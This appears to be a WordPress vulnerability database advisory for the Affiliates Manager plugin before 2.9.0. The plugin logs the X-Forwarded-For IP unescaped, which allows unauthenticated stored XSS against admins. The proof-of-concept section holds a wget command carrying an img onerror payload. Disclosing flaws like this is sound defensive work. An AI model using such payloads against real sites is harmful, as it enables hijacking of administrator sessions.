WordPress Plugin Vulnerabilities
Affiliates Manager < 2.9.0 - Unauthenticated Stored Cross-Site Scripting
Description
The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
Proof of Concept
As unauthenticated: wget "https://example.com/?wpam_id=1" --header="X-Forwarded-For: <img src onerror=alert(/XSS/)>" -q -O- The XSS will be triggered when an admin access http://example.com/wp-admin/admin.php?page=wpam-clicktracking
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-12-24 (about 2 years ago)
Added
2021-12-24 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)